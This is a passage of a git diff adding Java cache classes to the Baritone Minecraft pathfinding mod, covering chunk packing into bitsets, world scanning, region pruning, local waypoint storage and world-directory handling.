-> { + if (region != null) { + region.removeExpired(); + } + }); // even if we aren't saving to disk, still delete expired old chunks from RAM + prune(); + return; + } + long start = System.nanoTime() / 1000000L; + allRegions().parallelStream().forEach(region -> { + if (region != null) { + region.save(this.directory); + } + }); + long now = System.nanoTime() / 1000000L; + System.out.println("World save took " + (now - start) + "ms"); + prune(); + } + + /** + * Delete regions that are too far from the player + */ + private synchronized void prune() { + if (!Baritone.settings().pruneRegionsFromRAM.value) { + return; + } + BlockPos pruneCenter = guessPosition(); + for (CachedRegion region : allRegions()) { + if (region == null) { + continue; + } + int distX = ((region.getX() << 9) + 256) - pruneCenter.getX(); + int distZ = ((region.getZ() << 9) + 256) - pruneCenter.getZ(); + double dist = Math.sqrt(distX * distX + distZ * distZ); + if (dist > 1024) { + if (!Baritone.settings().censorCoordinates.value) { + logDebug("Deleting cached region " + region.getX() + "," + region.getZ() + " from ram"); + } + cachedRegions.remove(getRegionID(region.getX(), region.getZ())); + } + } + } + + /** + * If we are still in this world and dimension, return player feet, otherwise return most recently modified chunk + */ + private BlockPos guessPosition() { + for (IBaritone ibaritone : BaritoneAPI.getProvider().getAllBaritones()) { + IWorldData data = ibaritone.getWorldProvider().getCurrentWorld(); + if (data != null && data.getCachedWorld() == this && ibaritone.getPlayerContext().player() != null) { + return ibaritone.getPlayerContext().playerFeet(); + } + } + CachedChunk mostRecentlyModified = null; + for (CachedRegion region : allRegions()) { + if (region == null) { + continue; + } + CachedChunk ch = region.mostRecentlyModified(); + if (ch == null) { + continue; + } + if (mostRecentlyModified == null || mostRecentlyModified.cacheTimestamp < ch.cacheTimestamp) { + mostRecentlyModified = ch; + } + } + if (mostRecentlyModified == null) { + return new BlockPos(0, 0, 0); + } + return new BlockPos((mostRecentlyModified.x << 4) + 8, 0, (mostRecentlyModified.z << 4) + 8); + } + + private synchronized List allRegions() { + return new ArrayList<>(this.cachedRegions.values()); + } + + @Override + public final void reloadAllFromDisk() { + long start = System.nanoTime() / 1000000L; + allRegions().forEach(region -> { + if (region != null) { + region.load(this.directory); + } + }); + long now = System.nanoTime() / 1000000L; + System.out.println("World load took " + (now - start) + "ms"); + } + + @Override + public final synchronized CachedRegion getRegion(int regionX, int regionZ) { + return cachedRegions.get(getRegionID(regionX, regionZ)); + } + + /** + * Returns the region at the specified region coordinates. If a + * region is not found, then a new one is created. + * + * @param regionX The region X coordinate + * @param regionZ The region Z coordinate + * @return The region located at the specified coordinates + */ + private synchronized CachedRegion getOrCreateRegion(int regionX, int regionZ) { + return cachedRegions.computeIfAbsent(getRegionID(regionX, regionZ), id -> { + CachedRegion newRegion = new CachedRegion(regionX, regionZ, dimension); + newRegion.load(this.directory); + return newRegion; + }); + } + + public void tryLoadFromDisk(int regionX, int regionZ) { + getOrCreateRegion(regionX, regionZ); + } + + /** + * Returns the region ID based on the region coordinates. 0 will be + * returned if the specified region coordinates are out of bounds. + * + * @param regionX The region X coordinate + * @param regionZ The region Z coordinate + * @return The region ID + */ + private long getRegionID(int regionX, int regionZ) { + if (!isRegionInWorld(regionX, regionZ)) { + return 0; + } + + return (long) regionX & 0xFFFFFFFFL | ((long) regionZ & 0xFFFFFFFFL) << 32; + } + + /** + * Returns whether or not the specified region coordinates is within the world bounds. + * + * @param regionX The region X coordinate + * @param regionZ The region Z coordinate + * @return Whether or not the region is in world bounds + */ + private boolean isRegionInWorld(int regionX, int regionZ) { + return regionX <= REGION_MAX && regionX >= -REGION_MAX && regionZ <= REGION_MAX && regionZ >= -REGION_MAX; + } + + private class PackerThread implements Runnable { + + public void run() { + while (true) { + try { + ChunkPos pos = toPackQueue.take(); + Chunk chunk = toPackMap.remove(pos); + if (toPackQueue.size() > Baritone.settings().chunkPackerQueueMaxSize.value) { + continue; + } + CachedChunk cached = ChunkPacker.pack(chunk); + CachedWorld.this.updateCachedChunk(cached); + //System.out.println("Processed chunk at " + chunk.x + "," + chunk.z); + } catch (InterruptedException e) { + e.printStackTrace(); + break; + } catch (Throwable th) { + // in the case of an exception, keep consuming from the queue so as not to leak memory + th.printStackTrace(); + } + } + } + } +} diff --git a/src/baritone/cache/ChunkPacker.java b/src/baritone/cache/ChunkPacker.java new file mode 100644 index 00000000..3b1c9b33 --- /dev/null +++ b/src/baritone/cache/ChunkPacker.java @@ -0,0 +1,174 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.cache; + +import baritone.api.utils.BlockUtils; +import baritone.pathing.movement.MovementHelper; +import baritone.utils.pathing.PathingBlockType; +import net.minecraft.block.*; +import net.minecraft.util.RegistryKey; +import net.minecraft.util.math.BlockPos; +import net.minecraft.util.math.vector.Vector3d; +import net.minecraft.util.palette.PalettedContainer; +import net.minecraft.world.World; +import net.minecraft.world.chunk.Chunk; +import net.minecraft.world.chunk.ChunkSection; + +import java.util.*; + +import static baritone.utils.BlockStateInterface.getFromChunk; + +/** + * @author Brady + * @since 8/3/2018 + */ +public final class ChunkPacker { + + private ChunkPacker() {} + + public static CachedChunk pack(Chunk chunk) { + //long start = System.nanoTime() / 1000000L; + + Map> specialBlocks = new HashMap<>(); + BitSet bitSet = new BitSet(CachedChunk.SIZE); + try { + ChunkSection[] chunkInternalStorageArray = chunk.getSections(); + for (int y0 = 0; y0 < 16; y0++) { + ChunkSection extendedblockstorage = chunkInternalStorageArray[y0]; + if (extendedblockstorage == null) { + // any 16x16x16 area that's all air will have null storage + // for example, in an ocean biome, with air from y=64 to y=256 + // the first 4 extended blocks storages will be full + // and the remaining 12 will be null + + // since the index into the bitset is calculated from the x y and z + // and doesn't function as an append, we can entirely skip the scanning + // since a bitset is initialized to all zero, and air is saved as zeros + continue; + } + PalettedContainer bsc = extendedblockstorage.getData(); + int yReal = y0 << 4; + // the mapping of BlockStateContainer.getIndex from xyz to index is y << 8 | z << 4 | x; + // for better cache locality, iterate in that order + for (int y1 = 0; y1 < 16; y1++) { + int y = y1 | yReal; + for (int z = 0; z < 16; z++) { + for (int x = 0; x < 16; x++) { + int index = CachedChunk.getPositionIndex(x, y, z); + BlockState state = bsc.get(x, y1, z); + boolean[] bits = getPathingBlockType(state, chunk, x, y, z).getBits(); + bitSet.set(index, bits[0]); + bitSet.set(index + 1, bits[1]); + Block block = state.getBlock(); + if (CachedChunk.BLOCKS_TO_KEEP_TRACK_OF.contains(block)) { + String name = BlockUtils.blockToString(block); + specialBlocks.computeIfAbsent(name, b -> new ArrayList<>()).add(new BlockPos(x, y, z)); + } + } + } + } + } + } catch (Exception e) { + e.printStackTrace(); + } + //long end = System.nanoTime() / 1000000L; + //System.out.println("Chunk packing took " + (end - start) + "ms for " + chunk.x + "," + chunk.z); + BlockState[] blocks = new BlockState[256]; + + // @formatter:off + for (int z = 0; z < 16; z++) { + https://www.ibm.com/developerworks/library/j-perry-writing-good-java-code/index.html + for (int x = 0; x < 16; x++) { + for (int y = 255; y >= 0; y--) { + int index = CachedChunk.getPositionIndex(x, y, z); + if (bitSet.get(index) || bitSet.get(index + 1)) { + blocks[z << 4 | x] = getFromChunk(chunk, x, y, z); + continue https; + } + } + blocks[z << 4 | x] = Blocks.AIR.getDefaultState(); + } + } + // @formatter:on + return new CachedChunk(chunk.getPos().x, chunk.getPos().z, bitSet, blocks, specialBlocks, System.currentTimeMillis()); + } + + private static PathingBlockType getPathingBlockType(BlockState state, Chunk chunk, int x, int y, int z) { + Block block = state.getBlock(); + if (MovementHelper.isWater(state)) { + // only water source blocks are plausibly usable, flowing water should be avoid + // FLOWING_WATER is a waterfall, it doesn't really matter and caching it as AVOID just makes it look wrong + if (MovementHelper.possiblyFlowing(state)) { + return PathingBlockType.AVOID; + } + if ( + (x != 15 && MovementHelper.possiblyFlowing(getFromChunk(chunk, x + 1, y, z))) + || (x != 0 && MovementHelper.possiblyFlowing(getFromChunk(chunk, x - 1, y, z))) + || (z != 15 && MovementHelper.possiblyFlowing(getFromChunk(chunk, x, y, z + 1))) + || (z != 0 && MovementHelper.possiblyFlowing(getFromChunk(chunk, x, y, z - 1))) + ) { + return PathingBlockType.AVOID; + } + if (x == 0 || x == 15 || z == 0 || z == 15) { + Vector3d flow = state.getFluidState().getFlow(chunk.getWorld(), new BlockPos(x + (chunk.getPos().x << 4), y, z + (chunk.getPos().z << 4))); + if (flow.x != 0.0 || flow.z != 0.0) { + return PathingBlockType.WATER; + } + return PathingBlockType.AVOID; + } + return PathingBlockType.WATER; + } + + if (MovementHelper.avoidWalkingInto(state) || MovementHelper.isBottomSlab(state)) { + return PathingBlockType.AVOID; + } + // We used to do an AABB check here + // however, this failed in the nether when you were near a nether fortress + // because fences check their adjacent blocks in the world for their fence connection status to determine AABB shape + // this caused a nullpointerexception when we saved chunks on unload, because they were unable to check their neighbors + if (block instanceof AirBlock || block instanceof TallGrassBlock || block instanceof DoublePlantBlock || block instanceof FlowerBlock) { + return PathingBlockType.AIR; + } + + return PathingBlockType.SOLID; + } + + public static BlockState pathingTypeToBlock(PathingBlockType type, RegistryKey dimension) { + switch (type) { + case AIR: + return Blocks.AIR.getDefaultState(); + case WATER: + return Blocks.WATER.getDefaultState(); + case AVOID: + return Blocks.LAVA.getDefaultState(); + case SOLID: + // Dimension solid types + if (dimension == World.OVERWORLD) { + return Blocks.STONE.getDefaultState(); + } + if (dimension == World.THE_NETHER) { + return Blocks.NETHERRACK.getDefaultState(); + } + if (dimension == World.THE_END) { + return Blocks.END_STONE.getDefaultState(); + } + default: + return null; + } + } +} diff --git a/src/baritone/cache/FasterWorldScanner.java b/src/baritone/cache/FasterWorldScanner.java new file mode 100644 index 00000000..7adbb7fa --- /dev/null +++ b/src/baritone/cache/FasterWorldScanner.java @@ -0,0 +1,261 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.cache; + +import baritone.api.cache.ICachedWorld; +import baritone.api.cache.IWorldScanner; +import baritone.api.utils.BetterBlockPos; +import baritone.api.utils.BlockOptionalMetaLookup; +import baritone.api.utils.IPlayerContext; +import baritone.utils.accessor.IBitArray; +import baritone.utils.accessor.IPalettedContainer; +import io.netty.buffer.Unpooled; +import net.minecraft.block.Block; +import net.minecraft.block.BlockState; +import net.minecraft.network.PacketBuffer; +import net.minecraft.util.BitArray; +import net.minecraft.util.ObjectIntIdentityMap; +import net.minecraft.util.math.BlockPos; +import net.minecraft.util.math.ChunkPos; +import net.minecraft.util.palette.IPalette; +import net.minecraft.util.palette.PalettedContainer; +import net.minecraft.util.palette.IdentityPalette; +import net.minecraft.world.chunk.*; + +import java.util.ArrayList; +import java.util.List; +import java.util.stream.Collectors; +import java.util.stream.Stream; + +public enum FasterWorldScanner implements IWorldScanner { + INSTANCE; + @Override + public List scanChunkRadius(IPlayerContext ctx, BlockOptionalMetaLookup filter, int max, int yLevelThreshold, int maxSearchRadius) { + assert ctx.world() != null; + if (maxSearchRadius < 0) { + throw new IllegalArgumentException("chunkRange must be >= 0"); + } + return scanChunksInternal(ctx, filter, getChunkRange(ctx.playerFeet().x >> 4, ctx.playerFeet().z >> 4, maxSearchRadius), max); + } + + @Override + public List scanChunk(IPlayerContext ctx, BlockOptionalMetaLookup filter, ChunkPos pos, int max, int yLevelThreshold) { + Stream stream = scanChunkInternal(ctx, filter, pos); + if (max >= 0) { + stream = stream.limit(max); + } + return stream.collect(Collectors.toList()); + } + + @Override + public int repack(IPlayerContext ctx) { + return this.repack(ctx, 40); + } + + @Override + public int repack(IPlayerContext ctx, int range) { + AbstractChunkProvider chunkProvider = ctx.world().getChunkProvider(); + ICachedWorld cachedWorld = ctx.worldData().getCachedWorld(); + + BetterBlockPos playerPos = ctx.playerFeet(); + + int playerChunkX = playerPos.getX() >> 4; + int playerChunkZ = playerPos.getZ() >> 4; + + int minX = playerChunkX - range; + int minZ = playerChunkZ - range; + int maxX = playerChunkX + range; + int maxZ = playerChunkZ + range; + + int queued = 0; + for (int x = minX; x <= maxX; x++) { + for (int z = minZ; z <= maxZ; z++) { + Chunk chunk = chunkProvider.getChunk(x, z, false); + + if (chunk != null && !chunk.isEmpty()) { + queued++; + cachedWorld.queueForPacking(chunk); + } + } + } + + return queued; + } + + // ordered in a way that the closest blocks are generally first + public static List getChunkRange(int centerX, int centerZ, int chunkRadius) { + List chunks = new ArrayList<>(); + // spiral out + chunks.add(new ChunkPos(centerX, centerZ)); + for (int i = 1; i < chunkRadius; i++) { + for (int j = 0; j <= i; j++) { + chunks.add(new ChunkPos(centerX - j, centerZ - i)); + if (j != 0) { + chunks.add(new ChunkPos(centerX + j, centerZ - i)); + chunks.add(new ChunkPos(centerX - j, centerZ + i)); + } + chunks.add(new ChunkPos(centerX + j, centerZ + i)); + if (j != i) { + chunks.add(new ChunkPos(centerX - i, centerZ - j)); + chunks.add(new ChunkPos(centerX + i, centerZ - j)); + if (j != 0) { + chunks.add(new ChunkPos(centerX - i, centerZ + j)); + chunks.add(new ChunkPos(centerX + i, centerZ + j)); + } + } + } + } + return chunks; + } + + private List scanChunksInternal(IPlayerContext ctx, BlockOptionalMetaLookup lookup, List chunkPositions, int maxBlocks) { + assert ctx.world() != null; + try { + // p -> scanChunkInternal(ctx, lookup, p) + Stream posStream = chunkPositions.parallelStream().flatMap(p -> scanChunkInternal(ctx, lookup, p)); + if (maxBlocks >= 0) { + // WARNING: this can be expensive if maxBlocks is large... + // see limit's javadoc + posStream = posStream.limit(maxBlocks); + } + return posStream.collect(Collectors.toList()); + } catch (Exception e) { + e.printStackTrace(); + throw e; + } + } + + private Stream scanChunkInternal(IPlayerContext ctx, BlockOptionalMetaLookup lookup, ChunkPos pos) { + AbstractChunkProvider chunkProvider = ctx.world().getChunkProvider(); + // if chunk is not loaded, return empty stream + if (!chunkProvider.chunkExists(pos.x, pos.z)) { + return Stream.empty(); + } + + long chunkX = (long) pos.x << 4; + long chunkZ = (long) pos.z << 4; + + int playerSectionY = ctx.playerFeet().y >> 4; + + return collectChunkSections(lookup, chunkProvider.getChunk(pos.x, pos.z, false), chunkX, chunkZ, playerSectionY).stream(); + } + + + + private List collectChunkSections(BlockOptionalMetaLookup lookup, Chunk chunk, long chunkX, long chunkZ, int playerSection) { + // iterate over sections relative to player + List blocks = new ArrayList<>(); + ChunkSection[] sections = chunk.getSections(); + int l = sections.length; + int i = playerSection - 1; + int j = playerSection; + for (; i >= 0 || j < l; ++j, --i) { + if (j < l) { + visitSection(lookup, sections[j], blocks, chunkX, chunkZ); + } + if (i >= 0) { + visitSection(lookup, sections[i], blocks, chunkX, chunkZ); + } + } + return blocks; + } + + private void visitSection(BlockOptionalMetaLookup lookup, ChunkSection section, List blocks, long chunkX, long chunkZ) { + if (section == null || section.isEmpty()) { + return; + } + + PalettedContainer sectionContainer = section.getData(); + //this won't work if the PaletteStorage is of the type EmptyPaletteStorage + if (((IPalettedContainer) sectionContainer).getStorage() == null) { + return; + } + + boolean[] isInFilter = getIncludedFilterIndices(lookup, ((IPalettedContainer) sectionContainer).getPalette()); + if (isInFilter.length == 0) { + return; + } + + BitArray array = ((IPalettedContainer) section.getData()).getStorage(); + long[] longArray = array.getBackingLongArray(); + int arraySize = array.size(); + int bitsPerEntry = ((IBitArray) array).getBitsPerEntry(); + long maxEntryValue = ((IBitArray) array).getMaxEntryValue(); + + + int yOffset = section.getYLocation(); + + for (int i = 0, idx = 0; i < longArray.length && idx < arraySize; ++i) { + long l = longArray[i]; + for (int offset = 0; offset <= (64 - bitsPerEntry) && idx < arraySize; offset += bitsPerEntry, ++idx) { + int value = (int) ((l >> offset) & maxEntryValue); + if (isInFilter[value]) { + //noinspection DuplicateExpressions + blocks.add(new BlockPos( + chunkX + ((idx & 255) & 15), + yOffset + (idx >> 8), + chunkZ + ((idx & 255) >> 4) + )); + } + } + } + } + + private boolean[] getIncludedFilterIndices(BlockOptionalMetaLookup lookup, IPalette palette) { + boolean commonBlockFound = false; + ObjectIntIdentityMap paletteMap = getPalette(palette); + int size = paletteMap.size(); + + boolean[] isInFilter = new boolean[size]; + + for (int i = 0; i < size; i++) { + BlockState state = paletteMap.getByValue(i); + if (lookup.has(state)) { + isInFilter[i] = true; + commonBlockFound = true; + } else { + isInFilter[i] = false; + } + } + + if (!commonBlockFound) { + return new boolean[0]; + } + return isInFilter; + } + + /** + * cheats to get the actual map of id -> blockstate from the various palette implementations + */ + private static ObjectIntIdentityMap getPalette(IPalette palette) { + if (palette instanceof IdentityPalette) { + return Block.BLOCK_STATE_IDS; + } else { + PacketBuffer buf = new PacketBuffer(Unpooled.buffer()); + palette.write(buf); + int size = buf.readVarInt(); + ObjectIntIdentityMap states = new ObjectIntIdentityMap<>(); + for (int i = 0; i < size; i++) { + BlockState state = Block.BLOCK_STATE_IDS.getByValue(buf.readVarInt()); + assert state != null; + states.put(state, i); + } + return states; + } + } +} diff --git a/src/baritone/cache/WaypointCollection.java b/src/baritone/cache/WaypointCollection.java new file mode 100644 index 00000000..222adfdf --- /dev/null +++ b/src/baritone/cache/WaypointCollection.java @@ -0,0 +1,145 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.cache; + +import baritone.api.cache.IWaypoint; +import baritone.api.cache.IWaypointCollection; +import baritone.api.cache.Waypoint; +import baritone.api.utils.BetterBlockPos; + +import java.io.*; +import java.nio.file.Files; +import java.nio.file.Path; +import java.util.*; +import java.util.stream.Collectors; + +/** + * Waypoints for a world + * + * @author leijurv + */ +public class WaypointCollection implements IWaypointCollection { + + /** + * Magic value to detect invalid waypoint files + */ + private static final long WAYPOINT_MAGIC_VALUE = 121977993584L; // good value + + private final Path directory; + private final Map> waypoints; + + WaypointCollection(Path directory) { + this.directory = directory; + if (!Files.exists(directory)) { + try { + Files.createDirectories(directory); + } catch (IOException ignored) {} + } + System.out.println("Would save waypoints to " + directory); + this.waypoints = new HashMap<>(); + load(); + } + + private void load() { + for (Waypoint.Tag tag : Waypoint.Tag.values()) { + load(tag); + } + } + + private synchronized void load(Waypoint.Tag tag) { + this.waypoints.put(tag, new HashSet<>()); + + Path fileName = this.directory.resolve(tag.name().toLowerCase() + ".mp4"); + if (!Files.exists(fileName)) { + return; + } + + try ( + FileInputStream fileIn = new FileInputStream(fileName.toFile()); + BufferedInputStream bufIn = new BufferedInputStream(fileIn); + DataInputStream in = new DataInputStream(bufIn) + ) { + long magic = in.readLong(); + if (magic != WAYPOINT_MAGIC_VALUE) { + throw new IOException("Bad magic value " + magic); + } + + long length = in.readLong(); // Yes I want 9,223,372,036,854,775,807 waypoints, do you not? + while (length-- > 0) { + String name = in.readUTF(); + long creationTimestamp = in.readLong(); + int x = in.readInt(); + int y = in.readInt(); + int z = in.readInt(); + this.waypoints.get(tag).add(new Waypoint(name, tag, new BetterBlockPos(x, y, z), creationTimestamp)); + } + } catch (IOException ignored) {} + } + + private synchronized void save(Waypoint.Tag tag) { + Path fileName = this.directory.resolve(tag.name().toLowerCase() + ".mp4"); + try ( + FileOutputStream fileOut = new FileOutputStream(fileName.toFile()); + BufferedOutputStream bufOut = new BufferedOutputStream(fileOut); + DataOutputStream out = new DataOutputStream(bufOut) + ) { + out.writeLong(WAYPOINT_MAGIC_VALUE); + out.writeLong(this.waypoints.get(tag).size()); + for (IWaypoint waypoint : this.waypoints.get(tag)) { + out.writeUTF(waypoint.getName()); + out.writeLong(waypoint.getCreationTimestamp()); + out.writeInt(waypoint.getLocation().getX()); + out.writeInt(waypoint.getLocation().getY()); + out.writeInt(waypoint.getLocation().getZ()); + } + } catch (IOException ex) { + ex.printStackTrace(); + } + } + + @Override + public void addWaypoint(IWaypoint waypoint) { + // no need to check for duplicate, because it's a Set not a List + if (waypoints.get(waypoint.getTag()).add(waypoint)) { + save(waypoint.getTag()); + } + } + + @Override + public void removeWaypoint(IWaypoint waypoint) { + if (waypoints.get(waypoint.getTag()).remove(waypoint)) { + save(waypoint.getTag()); + } + } + + @Override + public IWaypoint getMostRecentByTag(IWaypoint.Tag tag) { + // Find a waypoint of the given tag which has the greatest timestamp value, indicating the most recent + return this.waypoints.get(tag).stream().min(Comparator.comparingLong(w -> -w.getCreationTimestamp())).orElse(null); + } + + @Override + public Set getByTag(IWaypoint.Tag tag) { + return Collections.unmodifiableSet(this.waypoints.get(tag)); + } + + @Override + public Set getAllWaypoints() { + return this.waypoints.values().stream().flatMap(Collection::stream).collect(Collectors.toSet()); + } +} diff --git a/src/baritone/cache/WorldData.java b/src/baritone/cache/WorldData.java new file mode 100644 index 00000000..7a06a412 --- /dev/null +++ b/src/baritone/cache/WorldData.java @@ -0,0 +1,65 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.cache; + +import baritone.Baritone; +import baritone.api.cache.ICachedWorld; +import baritone.api.cache.IWaypointCollection; +import baritone.api.cache.IWorldData; +import net.minecraft.util.RegistryKey; +import net.minecraft.world.World; + +import java.nio.file.Path; + +/** + * Data about a world, from baritone's point of view. Includes cached chunks, waypoints, and map data. + * + * @author leijurv + */ +public class WorldData implements IWorldData { + + public final CachedWorld cache; + private final WaypointCollection waypoints; + //public final MapData map; + public final Path directory; + public final RegistryKey dimension; + + WorldData(Path directory, RegistryKey dimension) { + this.directory = directory; + this.cache = new CachedWorld(directory.resolve("cache"), dimension); + this.waypoints = new WaypointCollection(directory.resolve("waypoints")); + this.dimension = dimension; + } + + public void onClose() { + Baritone.getExecutor().execute(() -> { + System.out.println("Started saving the world in a new thread"); + cache.save(); + }); + } + + @Override + public ICachedWorld getCachedWorld() { + return this.cache; + } + + @Override + public IWaypointCollection getWaypoints() { + return this.waypoints; + } +} diff --git a/src/baritone/cache/WorldProvider.java b/src/baritone/cache/WorldProvider.java new file mode 100644 index 00000000..46c2a4b5 --- /dev/null +++ b/src/baritone/cache/WorldProvider.java @@ -0,0 +1,178 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.cache; + +import baritone.Baritone; +import baritone.api.cache.IWorldProvider; +import net.minecraft.world.DimensionType; +import baritone.api.utils.IPlayerContext; +import net.minecraft.client.multiplayer.ServerData; +import net.minecraft.util.Tuple; +import net.minecraft.world.World; +import net.minecraft.world.storage.FolderName; +import org.apache.commons.lang3.SystemUtils; + +import java.io.IOException; +import java.nio.charset.StandardCharsets; +import java.nio.file.Files; +import java.nio.file.Path; +import java.util.HashMap; +import java.util.Map; +import java.util.Optional; + +/** + * @author Brady + * @since 8/4/2018 + */ +public class WorldProvider implements IWorldProvider { + + private static final Map worldCache = new HashMap<>(); + + private final Baritone baritone; + private final IPlayerContext ctx; + private WorldData currentWorld; + + /** + * This lets us detect a broken load/unload hook. + * @see #detectAndHandleBrokenLoading() + */ + private World mcWorld; + + public WorldProvider(Baritone baritone) { + this.baritone = baritone; + this.ctx = baritone.getPlayerContext(); + } + + @Override + public final WorldData getCurrentWorld() { + this.detectAndHandleBrokenLoading(); + return this.currentWorld; + } + + /** + * Called when a new world is initialized to discover the + * + * @param world The new world + */ + public final void initWorld(World world) { + this.getSaveDirectories(world).ifPresent(dirs -> { + final Path worldDir = dirs.getA(); + final Path readmeDir = dirs.getB(); + + try { + // lol wtf is this baritone folder in my minecraft save? + // good thing we have a readme + Files.createDirectories(readmeDir); + Files.write( + readmeDir.resolve("readme.txt"), + "https://github.com/cabaletta/baritone\n".getBytes(StandardCharsets.US_ASCII) + ); + } catch (IOException ignored) {} + + // We will actually store the world data in a subfolder: "DIM" + final Path worldDataDir = this.getWorldDataDirectory(worldDir, world); + try { + Files.createDirectories(worldDataDir); + } catch (IOException ignored) {} + + System.out.println("Baritone world data dir: " + worldDataDir); + synchronized (worldCache) { + this.currentWorld = worldCache.computeIfAbsent(worldDataDir, d -> new WorldData(d, world.getDimensionKey())); + } + this.mcWorld = ctx.world(); + }); + } + + public final void closeWorld() { + WorldData world = this.currentWorld; + this.currentWorld = null; + this.mcWorld = null; + if (world == null) { + return; + } + world.onClose(); + } + + private Path getWorldDataDirectory(Path parent, World world) { + return DimensionType.getDimensionFolder(world.getDimensionKey(), parent.toFile()).toPath(); + } + + /** + * @param world The world + * @return An {@link Optional} containing the world's baritone dir and readme dir, or {@link Optional#empty()} if + * the world isn't valid for caching. + */ + private Optional> getSaveDirectories(World world) { + Path worldDir; + Path readmeDir; + + // If there is an integrated server running (Aka Singleplayer) then do magic to find the world save file + if (ctx.minecraft().isSingleplayer()) { + worldDir = ctx.minecraft().getIntegratedServer().func_240776_a_(FolderName.DOT); + + // Gets the "depth" of this directory relative to the game's run directory, 2 is the location of the world + if (worldDir.relativize(ctx.minecraft().gameDir.toPath()).getNameCount() != 2) { + // subdirectory of the main save directory for this world + worldDir = worldDir.getParent(); + } + + worldDir = worldDir.resolve("baritone"); + readmeDir = worldDir; + } else { // Otherwise, the server must be remote... + String folderName; + final ServerData serverData = ctx.minecraft().getCurrentServerData(); + if (serverData != null) { + folderName = ctx.minecraft().isConnectedToRealms() ? "realms" : serverData.serverIP; + } else { + //replaymod causes null currentServerData and false singleplayer. + System.out.println("World seems to be a replay. Not loading Baritone cache."); + currentWorld = null; + mcWorld = ctx.world(); + return Optional.empty(); + } + if (SystemUtils.IS_OS_WINDOWS) { + folderName = folderName.replace(":", "_"); + } + // TODO: This should probably be in "baritone/servers" + worldDir = baritone.getDirectory().resolve(folderName); + // Just write the readme to the baritone directory instead of each server save in it + readmeDir = baritone.getDirectory(); + } + + return Optional.of(new Tuple<>(worldDir, readmeDir)); + } + + /** + * Why does this exist instead of fixing the event? Some mods break the event. Lol. + */ + private void detectAndHandleBrokenLoading() { + if (this.mcWorld != ctx.world()) { + if (this.currentWorld != null) { + System.out.println("mc.world unloaded unnoticed! Unloading Baritone cache now."); + closeWorld(); + } + if (ctx.world() != null) { + System.out.println("mc.world loaded unnoticed! Loading Baritone cache now."); + initWorld(ctx.world()); + } + } else if (this.currentWorld == null && ctx.world() != null && (ctx.minecraft().isSingleplayer() || ctx.minecraft().getCurrentServerData() != null)) { + System.out.println("Retrying to load Baritone cache"); + initWorld(ctx.world()); + } + } +} diff --git a/src/baritone/cache/WorldScanner.java b/src/baritone/cache/WorldScanner.java new file mode 100644 index 00000000..402e4844 --- /dev/null +++ b/src/baritone/cache/WorldScanner.java @@ -0,0 +1,184 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.cache; + +import baritone.api.cache.ICachedWorld; +import baritone.api.cache.IWorldScanner; +import baritone.api.utils.BetterBlockPos; +import baritone.api.utils.BlockOptionalMetaLookup; +import baritone.api.utils.IPlayerContext; +import net.minecraft.block.BlockState; +import net.minecraft.client.multiplayer.ClientChunkProvider; +import net.minecraft.util.math.BlockPos; +import net.minecraft.util.math.ChunkPos; +import net.minecraft.util.palette.PalettedContainer; +import net.minecraft.world.chunk.AbstractChunkProvider; +import net.minecraft.world.chunk.Chunk; +import net.minecraft.world.chunk.ChunkSection; + +import java.util.*; +import java.util.stream.IntStream; + +public enum WorldScanner implements IWorldScanner { + + INSTANCE; + + private static final int[] DEFAULT_COORDINATE_ITERATION_ORDER = IntStream.range(0, 16).toArray(); + + @Override + public List scanChunkRadius(IPlayerContext ctx, BlockOptionalMetaLookup filter, int max, int yLevelThreshold, int maxSearchRadius) { + ArrayList res = new ArrayList<>(); + + if (filter.blocks().isEmpty()) { + return res; + } + ClientChunkProvider chunkProvider = (ClientChunkProvider) 